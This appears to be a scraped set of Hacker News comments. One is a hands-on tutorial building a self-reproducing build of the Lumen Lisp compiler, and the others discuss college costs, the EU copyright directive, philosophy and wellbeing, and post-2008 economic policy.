Lumen: A Lisp for Lua and JavaScript | Right! I've been waiting a couple years for Lumen to get some traction. <i>cracks knuckles</i><p>Before I blather on about why it's worth paying attention to, why don't I just show you an implementation of the classic Trusting Trust paper:<p><a href="https://www.archive.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf" rel="nofollow">https://www.archive.ece.cmu.edu/~ganger/712.fall02/papers/p7...</a><p>We'll implement this ourselves. Let's dive right in. Start off by cloning Lumen.<p><pre><code> $ git clone https://github.com/sctb/lumen
$ cd lumen
$ git checkout aedf2fd2c209bfc7926e0d4eae4becd8a647fb80
$ vim main.l
</code></pre>
(Commit aedf2fd is just the latest commit at the time of this writing. I make it explicit here so that anyone can follow along in the future.)<p>Now that main.l is open, we begin by defining a global function `read-file` that simply returns a file as a string:<p><pre><code> (define-global read-file (path)
((get system 'read-file) path))
</code></pre>
If you run `make && bin/lumen`, you'll see the function is now defined when Lumen starts:<p><pre><code> > read-file
function
> (read-file "README.md")
"Lumen\n=\nLumen is a very small, self-hosted Lisp for Lua and JavaScript. It provides a flexible compilation environment with an extensible reader, macros, and extensible special forms, but otherwise attempts..."
</code></pre>
Now we define `read-from-file`, which reads Lumen source code and returns it as a form that can be evaluated:<p><pre><code> (define-global read-from-file (path)
(let (s ((get reader 'stream) (read-file path))
body ((get reader 'read-all) s))
`(do ,@body)))
> (read-from-file "reader.l")
("do" ("define" "delimiters" ("set-of" "\"(\"" "\")\"" "\";\"" "\"\\r\"" "\"\\n\"")) ...
</code></pre>
Those are the forms defined in reader.l: <a href="https://github.com/sctb/lumen/blob/aedf2fd2c209bfc7926e0d4eae4becd8a647fb80/reader.l#L1" rel="nofollow">https://github.com/sctb/lumen/blob/aedf2fd2c209bfc7926e0d4ea...</a><p>Let's step through the forms and print them.<p><pre><code> > (step x (read-from-file "reader.l")
(print (str x)))
"do"
("define" "delimiters" ("set-of" "\"(\"" "\")\"" "\";\"" "\"\\r\"" "\"\\n\""))
("define" "whitespace" ("set-of" "\" \"" "\"\\t\"" "\"\\r\"" "\"\\n\""))
("define" "stream" ("str" "more") ("obj" more: "more" pos: 0 len: ("#" "str") string: "str"))
("define" "peek-char" ("s") ("let" ((pos: true len: true string: true) "s") ("when" ("<" "pos" "len") ("char" "string" "pos"))))
("define" "read-char" ("s") ("let" "c" ("peek-char" "s") ("if" "c" ("do" ("inc" ("get" "s" ("quote" "pos"))) "c"))))
...
</code></pre>
Pretty good! We're already doing some basic compiler-type stuff. That's Lumen's power: It's a flexible compiler. (IMO one of the finest in the world due to its simplicity.)<p>Now, what can we do with these forms? Well, we can expand them:<p><pre><code> > (step x (expand (read-from-file "reader.l"))
(print (str x)))
"do"
("%local" "delimiters" ("%object" "\"(\"" true "\")\"" true "\";\"" true "\"\\n\"" true "\"\\r\"" true))
("%local" "whitespace" ("%object" "\"\\r\"" true "\" \"" true "\"\\n\"" true "\"\\t\"" true))
("%local-function" "stream" ("str" "more") ("return" ("%object" "\"more\"" "more" "\"pos\"" 0 "\"len\"" ("#" "str") "\"string\"" "str")))
("%local-function" "peek-char" ("s") ("do" ("%local" "____id" "s") ("%local" "__pos" ("get" "____id" "\"pos\""))
...
</code></pre>
We can compile them:<p><pre><code> > (print (compile (expand (read-from-file "reader.l"))))
local delimiters = {["("] = true, [")"] = true, [";"] = true, ["\n"] = true, ["\r"] = true}
local whitespace = {["\r"] = true, [" "] = true, ["\n"] = true, ["\t"] = true}
local function stream(str, more)
return {more = more, pos = 0, len = _35(str), string = str}
end
local function peek_char(s)
local ____id9 = s
local __pos6 = ____id9.pos
local __len3 = ____id9.len
local __string3 = ____id9.string
if __pos6 < __len3 then
return char(__string3, __pos6)
end
end
local function read_char(s)
local __c21 = peek_char(s)
if __c21 then
s.pos = s.pos + 1
return __c21
end
end
...
</code></pre>
And we can switch languages:<p><pre><code> > (set target 'js)
"js"
> (print (compile (expand (read-from-file "reader.l"))))
var delimiters = {"(": true, ")": true, ";": true, "\n": true, "\r": true};
var whitespace = {"\r": true, " ": true, "\n": true, "\t": true};
var stream = function (str, more) {
return {more: more, pos: 0, len: _35(str), string: str};
};
var peek_char = function (s) {
var ____id12 = s;
var __pos8 = ____id12.pos;
var __len4 = ____id12.len;
var __string4 = ____id12.string;
if (__pos8 < __len4) {
return char(__string4, __pos8);
}
};
var read_char = function (s) {
var __c28 = peek_char(s);
if (__c28) {
s.pos = s.pos + 1;
return __c28;
}
};
...
</code></pre>
Ok, on to the cool stuff.<p>Make a file called lumen.l:<p><pre><code> (when-compiling
`(do ,(read-from-file "runtime.l")
,(read-from-file "macros.l")
,(read-from-file "main.l")))
</code></pre>
English translation: "When compiling, read the forms from runtime.l, macros.l, and main.l, join them together, then compile the result."<p>Let's compile this file and see what happens:<p><pre><code> $ bin/lumen -c lumen.l
environment = {{}}
target = "lua"
function nil63(x)
return x == nil
end
function is63(x)
return not nil63(x)
end
function no(x)
return nil63(x) or x == false
end
function yes(x)
return not no(x)
end
function either(x, y)
if is63(x) then
return x
else
return y
end
end
...
</code></pre>
Presto! We get bin/lumen.lua: <a href="https://github.com/sctb/lumen/blob/aedf2fd2c209bfc7926e0d4eae4becd8a647fb80/bin/lumen.lua#L1" rel="nofollow">https://github.com/sctb/lumen/blob/aedf2fd2c209bfc7926e0d4ea...</a><p>Why does it generate Lua? Because on my system, Lumen happens to default to running on LuaJIT, and the host language is the default. If Lua wasn't installed on your system, you'd be seeing JS instead.<p>To get a specific language, pass the `-t` parameter:<p><pre><code> $ bin/lumen -c lumen.l -t js
environment = [{}];
target = "js";
nil63 = function (x) {
return x === undefined || x === null;
};
is63 = function (x) {
return ! nil63(x);
};
no = function (x) {
return nil63(x) || x === false;
};
yes = function (x) {
return ! no(x);
};
either = function (x, y) {
if (is63(x)) {
return x;
} else {
return y;
}
};
...
</code></pre>
That gives us bin/lumen.js: <a href="https://github.com/sctb/lumen/blob/aedf2fd2c209bfc7926e0d4eae4becd8a647fb80/bin/lumen.js" rel="nofollow">https://github.com/sctb/lumen/blob/aedf2fd2c209bfc7926e0d4ea...</a><p>Let's simplify the makefile. Open makefile in your edior and replace it with this:<p><pre><code> .PHONY: all clean test
LUMEN_LUA ?= lua
LUMEN_NODE ?= node
LUMEN_HOST ?= $(LUMEN_LUA)
LUMEN := LUMEN_HOST="$(LUMEN_HOST)" bin/lumen
MODS := bin/lumen.x \
bin/reader.x \
bin/compiler.x \
bin/system.x
all: $(MODS:.x=.js) $(MODS:.x=.lua)
clean:
@git checkout bin/*.js
@git checkout bin/*.lua
@rm -f obj/*
bin/%.js : %.l
@echo $@
@$(LUMEN) -c $< -o $@ -t js
bin/%.lua : %.l
@echo $@
@$(LUMEN) -c $< -o $@ -t lua
test: all
@echo js:
@LUMEN_HOST=$(LUMEN_NODE) ./test.l
@echo lua:
@LUMEN_HOST=$(LUMEN_LUA) ./test.l
</code></pre>
Try it out:<p><pre><code> $ make -B test
bin/lumen.js
bin/reader.js
bin/compiler.js
bin/system.js
bin/lumen.lua
bin/reader.lua
bin/compiler.lua
bin/system.lua
js:
647 passed, 0 failed
lua:
647 passed, 0 failed
</code></pre>
Perfect. Our new lumen.l file fits into the compiler pipeline nicely.<p>It may not seem like it, but we now have a tool of remarkable power. Let's see why.<p>Open lumen.l back up. We recall it looks like this:<p><pre><code> (when-compiling
`(do ,(read-from-file "runtime.l")
,(read-from-file "macros.l")
,(read-from-file "main.l")))
</code></pre>
Let me show you what makes Lumen special. Change lumen.l to this:<p><pre><code> (define-global %lumen ()
(when-compiling
`'(do ,(read-from-file "runtime.l")
,(read-from-file "macros.l")
,(read-from-file "main.l"))))
(when-compiling
`(do ,(read-from-file "runtime.l")
,(read-from-file "macros.l")
,(read-from-file "main.l")))
</code></pre>
then compile:<p><pre><code> $ make
</code></pre>
Now change lumen.l to this:<p><pre><code> (define-global %lumen ()
(when-compiling
`'(do ,(read-from-file "runtime.l")
,(read-from-file "macros.l")
,(read-from-file "main.l"))))
(when-compiling
(%lumen))
</code></pre>
and compile again:<p><pre><code> $ make
</code></pre>
Here comes the surprise. Change lumen.l to this:<p><pre><code> (define-global %lumen ()
(when-compiling
`',(%lumen)))
(when-compiling
(%lumen))
</code></pre>
and compile:<p><pre><code> $ make
</code></pre>
Now <i>delete the source code</i>:<p><pre><code> $ rm runtime.l
</code></pre>
and compile:<p><pre><code> $ make -B test
make -B test
bin/lumen.js
bin/reader.js
bin/compiler.js
bin/system.js
bin/lumen.lua
bin/reader.lua
bin/compiler.lua
bin/system.lua
js:
647 passed, 0 failed
lua:
647 passed, 0 failed
</code></pre>
What happened to the source code? It's gone!<p><a href="https://youtu.be/TGwZVGKG30s?t=25" rel="nofollow">https://youtu.be/TGwZVGKG30s?t=25</a><p>Gone? What do you mean gone? I had perfectly fine source code and you mean to tell me it's gone?!<p>Not anymore you don't. Poof.<p>Yet lumen remains:<p><pre><code> $ make test
js:
647 passed, 0 failed
lua:
647 passed, 0 failed
</code></pre>
Last week I was trying to learn R, so I added a target for it: <a href="https://github.com/sctb/lumen/pull/193" rel="nofollow">https://github.com/sctb/lumen/pull/193</a><p>Now I don't have to write R.<p>Here's a (now very-outdated) branch that has full support for Python: <a href="https://github.com/shawwn/lumen/tree/features/python" rel="nofollow">https://github.com/shawwn/lumen/tree/features/python</a><p>Now I don't have to write Python.<p>This has been a short tour of why Lumen has fascinated me for the last three years, and hope you find its mysteries delightful. It is only through abstraction that we can bend computers to our will, and Lumen is a decisive step forward.<p>Happy to answer any questions! |
Why Is College in America So Expensive? | As history has shown overwhelmingly for decades, it's perfectly possible to run a good four year college with quite reasonable costs for the student. E.g., it was long common for students to work off the costs just by helping in the dining hall.<p>But, a lot of students want to go to prestige colleges. Nearly all the prestige colleges are the four year colleges of famous, high end research universities. In such universities, the teaching loads per professor are quite low, but the expenses for the research are quite high.<p>If a student is content to make good use of an okay public four year college, hopefully live at home, keep down the cost of living, concentrate on learning and grades, then they can get a good four year education and be ready for graduate school where they need pay no tuition and maybe get a stipend.<p>Actually, when I was a STEM field grad student, I paid no tuition, and a prof told me that they had tuition scholarship going begging from having too few well qualified applicants. A way to get an Ivy League degree is to have good grades from a four year college, good SAT and GRE scores, maybe 1-3 years of relevant work experience, and then apply to graduate school in a STEM field department of an Ivy League university. In essentially this way, I got accepted to Cornell, Brown, Princeton, and more.<p>Much of the emphasis on research was from the US Federal government for US national security and, then, bio-medical research (all those test tubes are expensive!). The national security interest was from The Bomb, the Cold War, the Space Race, and now whatever, e.g., information security. So the DoD, NSF, and NIH made the research universities an offer they couldn't refuse: Take the money or cease to be a leading research university.<p>Well, that Federal money is no longer so easy to get, but the research universities still want to concentrate on research, and students still think that is where the prestige and/or good education is.<p>Then with good reputations for research, the universities get highly ranked, and students want to go there for their four year ugrad education -- which then is darned expensive.<p>E.g., on YouTube, look at the lectures of Prof Allan Adams on introductory quantum mechanics at MIT: It appears that this is the only course he was teaching that year; it was the last year he was teaching it; and otherwise he was doing research on string theory. So, add it up anyway you want, and a seat in that course is EXPENSIVE.<p>But, don't really need a seat in that course. Instead can buy a stack of highly regarded introductory texts on quantum mechanics (used, save money), download lectures, from Adams and possibly elsewhere, and just STUDY. If take the course at MIT and do at all well in it, still have to STUDY. Sitting in the class is not much better than watching the videos; still what's important to learn the material is to study. But if want to rub shoulders with other good students and some big time profs, then, sure, would rather be at MIT. Still, if take a course in quantum mechanics at a four year college, maybe a course not quite as well informed as at MIT, then just work to get good grades, also learn quantum mechanics from the Adams videos and the best books, do well on the physics GRE, and apply to a high end grad program in physics. Then will still have a good shot at doing as well as the MIT grads in the grad program.<p>Similarly for other STEM fields, at least pure and applied math and, from all I can see, also computer science.<p>Net, it really is possible to get a really good education, with really good GRE scores, in a cheap four year ugrad program, and, then, be fully competitive in a high end grad program at one of the best research universities.<p>So, if have to sit in your parent's basement for a year getting the best ugrad STEM field education before taking your GREs and going for an Ivy League, etc. grad education, then DO that, and save some really big bucks, maybe $40,000 a year for 4 years.<p>NBA basketball has spectators who pay big bucks and makes a good spectator sport. A good ugrad STEM field education is not a spectator sport and is essentially the same as learning to play basketball well yourself. Can't get good at a STEM field just by watching; instead have to DO it. The best video lectures, the best books, and STUDY. You CAN do that.<p>E.g., pay all you want to MIT and take the Adams course. He still makes a total mess out of the Fourier transform. But the Fourier transform is presented with overwhelming clarity, beauty, and precision in W. Rudin, <i>Real and Complex Analysis</i>. At some point quantum mechanics will want to use the spectral theorem of linear operators on a Hilbert space. Well, the spectral theorem is in a finite dimensional version, intended to be a gentle introduction to the full version, in Halmos, <i>Finite Dimensional Vector Space</i>. There is the full version in another book, short, by Halmos, in<p>Introduction to Hilbert Space and the Theory of Spectral Multiplicity: Second Edition (Dover Books on Mathematics)<p>for about $10. For more, there is W. Rudin, <i>Functional Analysis</i>, as usual for Rudin, with astounding precision.<p>Will have a tough time at any university finding a physics prof who will do that well with either the Fourier transform or spectral theory.<p>So, can get the Halmos book for about $10. For Rudin, <i>Functional Analysis</i>, a fast Google search showed a used copy for $12.10. Why spend $40,000 a year????<p>Indeed, soon in high end STEM field academics it's accepted that with no more than a little guidance and some good texts, any of the good students can learn whatever they need. Basically the students are expected to be able to learn this way for their research. Once are a research prof, definitely are expected to learn this way just to keep up in the field. Net, all those $40,000+ a year ugrad expenses are for what the heck???? |
Today, Europe Lost The Internet. Now, We Fight Back | Please weight your words. Europe didn't lose its Internet today.<p>As to the content of this article:<p>> Article 13: the Copyright Filters. All but the smallest platforms will have to defensively adopt copyright filters that examine everything you post and censor anything judged to be a copyright infringement.<p>It's worth to mention what is <i>smallest</i>.<p>Annex to Commission Recommendation 2003/361/EC Article 2.2 states:<p><i>Within the SME category, a small enterprise is defined as an enterprise which employs fewer than 50 persons and
whose annual turnover and/or annual balance sheet total does not exceed EUR 10 million.</i> [4]<p>They will not <i>censor</i> anything that is not copyrighted material and you have right to dispute that censoring (it's also in article 13) in case you have copyright to material posted/it's not copyrighted material. In which case they can't stop you posting that based on this law.<p>Any action taken by platforms to check that uploads do not breach copyright rules must be designed in such a way as to avoid catching non-infringing works. As stated in<p>Article 13.2a: <i>Member States shall provide that where right holders do not wish to conclude licensing agreements, online content sharing service providers and right holders shall cooperate in good faith in order to ensure that unauthorised protected works or other subject matter are not available on their services. Cooperation between online content service providers and right holders shall not lead to preventing the availability of non-infringing works or other protected subject matter, including those covered by an exception or limitation to copyright.</i> [1]<p>These platforms will moreover be required to establish rapid redress systems (operated by the platform’s staff, not algorithms) through which complaints can be lodged when an upload is wrongly taken down.<p>As stated in article 13.2b: <i>Members States shall ensure that online content sharing service providers referred to in paragraph 1 put in place effective and expeditious complaints and redress mechanisms that are available to users in case the cooperation referred to in paragraph 2a leads to unjustified removals of their content. Any complaint filed under such mechanisms shall be processed without undue delay and be subject to human review. Right holders shall reasonably justify their decisions to avoid arbitrary dismissal of complaints. Moreover, in accordance with Directive 95/46/EC, Directive 2002/58/EC and the General Data Protection Regulation, the cooperation shall not lead to any identification of individual users nor the processing of their personal data. Member States shall also ensure that users have access to an independent body for the resolution of disputes as well as to a court or another relevant judicial authority to assert the use of an exception or limitation to copyright rules</i> [1]<p>> Article 11: Linking to the news using more than one word from the article is prohibited unless you're using a service that bought a license from the news site you want to link to.<p>This is wrong unless you make money of what you do, which point 1a clearly states:<p>Article 11.1a: <i>The rights referred to in paragraph 1 shall not prevent legitimate private and non-commercial use of press publications by individual users.</i> [1]<p>Additionally if you make money of it you can link to the article and include individual words:<p>Article 11.2a: <i>The rights referred to in paragraph 1 shall not extend to mere hyperlinks which are accompanied by individual words.</i> [1]<p>> Article 12a: No posting your own photos or videos of sports matches. Only the "organisers" of sports matches will have the right to publicly post any kind of record of the match. No posting your selfies, or short videos of exciting plays. You are the audience, your job is to sit where you're told, passively watch the game and go home.<p>You know that exactly the same law applies to artists on concerts? You can legally record that and make selfies for your personal use but you can't share recordings publicly without consent? Most artists/copyright holders ignore that, this is why you see recordings on social media, youtube etc. But if they wanted to they could sue you.<p>But sports at the moment is different. Some EU countries introduce protection of sports events on national level but not all.<p>Look at ECJ (European Court of Justice) decision in <i>Premier League v QC Leisure</i> [2] in which court stated that sports events as such (notably football games) do not qualify as protected subject matter under EU copyright law. The Court explained that in order to be classified as a “work of authorship” the subject-matter concerned would have to be original in the sense of the author’s own intellectual creation. However, sporting events cannot be regarded as intellectual creations within the meaning of the EU Information Society Directive. This applies in particular to football matches, which are subject to rules of the game which leave no room for creative expressive freedom. The Court went even further and stated that sports events are not protected by European Union law on any other basis in the field of intellectual property, excluding therefore neighbouring or related rights to copyright (including database suigeneris rights) as well. [3]<p>Terms and conditions of access attached to sport event tickets have nowadays developed into quite lengthy lists of contractual obligations, which can vary depending on the type of event and on its commercial relevance. By way of illustration, together with the prohibition to carry into the stadium items considered dangerous or otherwise inappropriate, the use of recording and broadcasting equipment, the unauthorized transmission and/or recording
through mobile phones or other recording devices, and sometimes even flash photography are explicitly forbidden. These rules are purely contractual. Therefore, in the case in which a spectator has, without authorization, succeeded in recording the match on a personal device such as a smartphone and has uploaded the video on an online platform, a third party acting in good faith (such as the online platform) will not be bound by that contractual agreement. It follows that the platform operator, as well as any other third party,
cannot be forced merely on this contractual basis to take down the content from the platform. Whereas it has been argued that amateur recordings do not really pose serious commercial threats to sports organisers (and in any case they still represent a breach of contract), the gap in the “house right” based legal protection of sports organisers is in the absence of third-party effects. [3]<p>This is the reason why article 12.a was introduced, not someone personal selfies. Context is really important when commenting on law.<p>[1] <a href="http://www.europarl.europa.eu/sides/getDoc.do?pubRef=-//EP//NONSGML+TA+P8-TA-2018-0337+0+DOC+PDF+V0//EN" rel="nofollow">http://www.europarl.europa.eu/sides/getDoc.do?pubRef=-//EP//...</a><p>[2] 403/08 and 429/08 Football Association Premier League Ltd and others v QC Leisure and others and Karen Murphy v
Media Protection Services Ltd (2011) ECR-I-9083.<p>[3] Margoni, T. (2016) The protection of sports events in the EU: Property,intellectual property, unfair competition and special forms of protection.<p>[4] <a href="https://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ:L:2003:124:0036:0041:EN:PDF" rel="nofollow">https://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ:L:...</a> |
And then what? Asking a philosopher for advice | It took me a long time to realize what has been called "Descartes' Error": <a href="https://en.wikipedia.org/w/index.php?title=Descartes'_Error&oldid=768456019" rel="nofollow">https://en.wikipedia.org/w/index.php?title=Descartes'_Erro...</a>
"'Damasio argues in his well-known book that it is wrong to think that only minds think. The body and our emotions have a key role in the way we think and in rational decision-making'. Since, in his words, 'the body...contributes a content that is part and parcel of the workings of the normal mind', it follows that 'the mind is embodied, in the full sense of the term, not just embrained'. Damasio's theory stresses 'the crucial role of feeling in navigating the endless stream of life's personal decisions....The intuitive signals that guide us in these moments come in the form of limbic-driven surges from the viscera that Damasio calls "somatic markers" - literally, gut feelings'. Listening to your gut reactions, 'the somatic marker...may lead you to reject, immediately, the negative course of action and thus...allows you to choose from among fewer alternatives '."<p>Essentially, emotion underlies reason. Or, more generally, our choice of goals, reasoning tools, and assumptions can't be chosen purely "logically" -- even as once we have adopted some goal (like logical consistency) logic can help move forward from that. So, rather than "I think therefore I am", it is more "I feel therefore I am".<p>Or as Einstein put it: <a href="http://www.sacred-texts.com/aor/einstein/einsci.htm" rel="nofollow">http://www.sacred-texts.com/aor/einstein/einsci.htm</a>
"One can have the clearest and most complete knowledge of what is, and yet not be able to deduct from that what should be the goal of our human aspirations. Objective knowledge provides us with powerful instruments for the achievements of certain ends, but the ultimate goal itself and the longing to reach it must come from another source."<p>As an example, this issue is a problematical aspect of Star Trek's Vulcans. A life can't be lived purely "logically". So, Vulcans would still have to make assumptions and set goals and choose tools of reason emerging out of their current cultural context and upbringing. And those assumptions, goals, tools and culture are to some extent arbitrary in each instance of choice -- even as those choices generation after generation may be subject to evolutionary selection and so are not arbitrary long-term in that sense. But even saying "we do X because it helps us survive" is itself a choice based on a non-logical (yet generally selected-for) gut-level goal of survival. So, Vulcans are misleading themselves and others if they claim their decisions are purely "logical". They may be logical decisions -- but they remain decisions based on the logically-impure values and assumptions which underlie the logical edifice built on top of all that.<p>Or, as Bertrand Russel says in one of his books (paraphrasing greatly), all philosophers make at least one usually-unacknowledged assumption somewhere, and then they go off building a castle of logic on top of that foundational assumption.<p>Ultimately, humans are adapted mainly to find happiness in a certain context reflecting our evolutionary heritage.<p>A rough sketch of that healthy context is mentioned by me here, citing an essay by Philip Hickey, Ph.D called: "Depression Is Not An Illness: It is an Adaptive Mechanism": <a href="https://news.ycombinator.com/item?id=15455259" rel="nofollow">https://news.ycombinator.com/item?id=15455259</a><p><pre><code> "In order to feel good, the following eight factors must be present in our lives.
* good nutrition
* fresh air
* sunshine (in moderation)
* physical activity
* purposeful activity with regular experiences of success
* good relationships
* adequate and regular sleep
* ability to avoid destructive social entanglements, while remaining receptive to positive encounters"
</code></pre>
In general, the further we get away from those basics (and similar) the more likely we are to be unhappy. No amount of philosophical cogitation is going to cover up that unhappiness long-term for most people. Viktor Frankl survived a concentration camp and then created "Logotherapy", suggesting having a meaning in life can help us endure hardships and even find some happiness in pursuing that meaning. So, there is truth in what Friedrich Nietzsche wrote: "He who has a why to live for can bear almost any how." But long-term, a problematical how takes its toll on our health despite the why (including often times leading to depression).<p>Some people may be more susceptible to their environment than others (as both a pro and a con):
<a href="https://www.scientificamerican.com/article/on-the-trail-of-the-orchid-child/" rel="nofollow">https://www.scientificamerican.com/article/on-the-trail-of-t...</a>
"As Ellis and Boyce explained in their paper, dandelion children seem to have the capacity to survive — even thrive — in whatever circumstances they encounter. They are psychologically resilient. Orchid children, in contrast, are highly sensitive to their environment, especially to the quality of parenting they receive. If neglected, orchid children promptly wither — but if they are nurtured, they not only survive but flourish. In the authors’ poetic language, an orchid child becomes “a flower of unusual delicacy and beauty.”"<p>And, beyond that, even when you have all those basics, there is the risk of falling into a "pleasure trap", seduced and addicted by "supernormal stimuli" made possible by modern technology:<p><a href="https://en.wikipedia.org/wiki/Supernormal_Stimuli" rel="nofollow">https://en.wikipedia.org/wiki/Supernormal_Stimuli</a>
"The book argues that human instincts for food, sex, and territorial protection evolved for life on the savannah 10,000 years ago, not for today's densely populated technological world. Our instincts have not had time to adapt to the rapid changes of modern life. The book takes its title from Nikolaas Tinbergen's concept in animal ethology of the supernormal stimulus, the phenomena by which insects, birds, and fish in his experiments could be lured by a dummy object which exaggerated one or more characteristic of the natural stimulus object such as giant brilliant blue plaster eggs which birds preferred to sit on in preference to their own. Barrett extends the concept to humans and outlines how supernormal stimuli are a driving force behind today’s most pressing problems, including modern warfare, obesity and other fitness problems, while also explaining the appeal of television, video games, and pornography as social outlets."<p><a href="http://www.paulgraham.com/addiction.html" rel="nofollow">http://www.paulgraham.com/addiction.html</a>
"What hard liquor, cigarettes, heroin, and crack have in common is that they're all more concentrated forms of less addictive predecessors. Most if not all the things we describe as addictive are. And the scary thing is, the process that created them is accelerating."<p><a href="http://web.archive.org/web/20160418155513/http://www.drfuhrman.com/library/article16.aspx" rel="nofollow">http://web.archive.org/web/20160418155513/http://www.drfuhrm...</a>
"Once in awhile, a person may actually become aware of important dietary knowledge. Despite the ingenious misinformation campaigns waged by the dairy, cattle, and processed food industries, sometimes a person actually comes to understand the truth about diet. At such times, determined individuals might attempt to change their diet toward whole natural foods—in spite of dire and unfounded warnings from their families, friends, and doctors. But along the way, they are likely to be met with a formidable obstacle — their own taste neuroadaptation to artificially-intense foods. This challenge is depicted as Phases IV and V, wherein a change to less stimulating foods typically will result in a reduced pleasure experience. In the early stages, this process is dramatic because natural foods often are not nearly as stimulating. Scientific evidence suggests that the re-sensitization of taste nerves takes between 30 and 90 days of consistent exposure to less stimulating foods. This means that for several weeks, most people attempting this change will experience a reduction in eating pleasure. This is why modern foods present such a devastating trap — as most of our citizens are, in effect, “addicted” to artificially high levels of food stimulation! The 30-to-90-day process of taste re-calibration requires more motivation—and more self-discipline—than most people are ever willing to muster. Tragically, most people are totally unaware that they are only a few weeks of discipline away from being able to comfortably maintain healthful dietary habits — and to keep away from the products that can result in the destruction of their health. Instead, most people think that if they were to eat more healthfully, they would be condemned to a life of greatly reduced gustatory pleasure — thinking that the process of Phase IV will last forever. In our new book, The Pleasure Trap, we explain this extraordinarily deceptive and problematic situation – and how to master this hidden force that undermines health and happiness."<p>Now, could humans become adapted in different ways and remain healthy (by some definition of health that supports survival and flourishing as individuals and as one or more species)? Perhaps. But that remains speculation.<p>All that said, when people are in healthier unstressed situations, most are less likely to end up addicted:
<a href="http://brucekalexander.com/articles-speeches/rat-park/148-addiction-the-view-from-rat-park" rel="nofollow">http://brucekalexander.com/articles-speeches/rat-park/148-ad...</a>
"The view of addiction from Rat Park is that today’s flood of addiction is occurring because our hyperindividualistic, hypercompetitive, frantic, crisis-ridden society makes most people feel social and culturally isolated. Chronic isolation causes people to look for relief. They find temporary relief in addiction to drugs or any of a thousand other habits and pursuits because addiction allows them to escape from their feelings, to deaden their senses, and to experience an addictive lifestyle as a substitute for a full life." |
We’re Measuring the Economy All Wrong | The idea of overall economic output will always be an important abstract measure of the economy, but it completely ignores most of the ways that economic policy intertwines with politics.<p>I think the biggest danger in how we analyze the economy is that we need to be aware that many of our leaders have an incentive to always report good news about the economy.<p>The core idea behind policies intended to increase employment, credit availability, etc., is that the government should act to help actors in the economy become more leveraged. Or in other words, that a higher output can be achieved if risk premiums are kept in check through policy action.<p>Why? Because a bunch of unemployed, suffering people will eventually lead to a political revolution, and so political stability is a significant driver for economic stability and long-term planning.<p>Arguably, long-term planning is the bedrock of the financial system. It allows trading between the present and future, and arbitrage between possible futures. Political risk/instability adds an additional cost to long-term planning.<p>So as a result we have welfare economics, targeted both at individuals and firms. The political notion of social welfare is used by planners to create a set of meta-strategies that benefit the recipients.<p>The problem is that when you connect politics to economic policy you end up with groups that gain status (and power to influence the policy) as a result of the policy. So the policy changes and groups of beneficiaries compete for rents.<p>Why did the 2008 financial crisis happen? Because economic policy-makers believed that they understood the safe bounds for certain systemic risks within the system. They ended up getting those bounds wrong, and so it came to pass that a lot of other "normal" risks were drastically mispriced once the bounds were exceeded, since their prices had been based on the assumption of asset price stability.<p>The rest of the details have to do with the many other mechanisms that suffered a cascade of failures due to the bounds set by regulators being exceeded.<p>Normally, firm insolvency/failure can act as a circuit breaker to stop the effects of a price correction from spreading to the rest of the economy... but the key point is that the pricing assumptions were baked into the rules themselves, so securities of mortgage backed securities were allowed to be treated as underwriting capital by financial institutions, etc.<p>Sadly, there is no free lunch. Growth-oriented policy will always contain some core assumptions about system invariants that are not necessarily <i>actually</i> invariants. The time horizon for policy mistakes is longer than the typical term in office for those making the rules, so there is no incentive to adopt a more risk-averse view.<p>Of course, what has happened since 2008 is that the financial system has once again figure out ways to use cheap credit to make profits with little apparent risk. But just as it was the case before 2008 there are still many assumptions about systemic risk baked into the pie.<p>So this article is timely because of Trump's economic populism and the apparent rise of left-wing economic populist candidates. The article calls for more populist economic metrics. But what is not explicitly stated by the article is that the reason for this is simply to reduce the risk of populism-driven economic shocks that might exceed the bounds baked into the core assumptions used by the regulatory regime.<p>In other words, there is a call to reformulate the metrics so that they better reflect populist sentiments, and the corresponding implication that policies ought to shift to make these metrics show "good" numbers.<p>This article comes as part of a series of statements by former Fed and Treasury officials warning that the tools are not adequate to address a future crisis.<p>Since a crisis will come in the form of significant price corrections, and since the interventions post 2008 prevented a lot of price corrections that were probably appropriate, we can infer that a future correction will be larger than the one in 2008. Combine this with rising tides of economic populism, and it is clear why all of these experts are suddenly calling for a fundamentally different approach. They must be quite convinced that the next correction could bring massive social and political upheaval that dwarfs what we have seen post 2008 with Brexit and the rise of Trump.<p>Note that a map of the US shows that most counties are "red" and likely find the economic populist message of Trump highly appealing and relevant. Economic populism is dramatically more widespread now than it was in 2008. But prior to 2008 real estate price appreciation in a lot of historically red states led to feelings of affluence and contentment with the status quo. I've argued separately that GWB allowed the real estate bubble to grow a few extra years to help sell the war on Terror. The GSEs (primary underwriters of most mortgages) were not held accountable for failing to produce financials for several years in a row during that time.<p>So policymakers are now realizing that none of those tools to make people feel complacent are at the ready when the next correction comes, and they are fearful of the political consequences which are nearly inevitable at this point unless measures are put in place now. |
Post-crash economics: have we learnt nothing? | Related from 2003 by Jim Sanford: "Confessions of a Recovering Economist"
<a href="http://www.paecon.net/PAEReview/issue21/Stanford21.htm" rel="nofollow">http://www.paecon.net/PAEReview/issue21/Stanford21.htm</a>
"I am an economist. It is seventeen days since I last uttered the phrase "supply and demand." But the demon still lurks untamed, within me. Economics is an addiction. Every other addiction has a Twelve Step program, laced with tough love and blunt self-honesty. Why not a Twelve Step program for economists? God knows, we have done enough damage with our arrogant, drunken prescriptions. Here's how each and every economist can face up to their inner demons, and make their own small contribution to setting things right. ..."<p>From 2010: "They Did Their Homework (800 Years of It)" <a href="https://www.nytimes.com/2010/07/04/business/economy/04econ.html" rel="nofollow">https://www.nytimes.com/2010/07/04/business/economy/04econ.h...</a>
"But in the wake of the recent crisis, a few economists — like Professors Reinhart and Rogoff, and other like-minded colleagues like Barry Eichengreen and Alan Taylor — have been encouraging others in their field to look beyond hermetically sealed theoretical models and into the historical record. “There is so much inbredness in this profession,” says Ms. Reinhart. “They all read the same sources. They all use the same data sets. They all talk to the same people. There is endless extrapolation on extrapolation on extrapolation, and for years that is what has been rewarded.”"<p>Or from 2011: "Economics for the Rest of Us: Debunking the Science That Makes Life Dismal" by Moshe Adler
<a href="https://www.goodreads.com/book/show/7197448-economics-for-the-rest-of-us" rel="nofollow">https://www.goodreads.com/book/show/7197448-economics-for-th...</a>
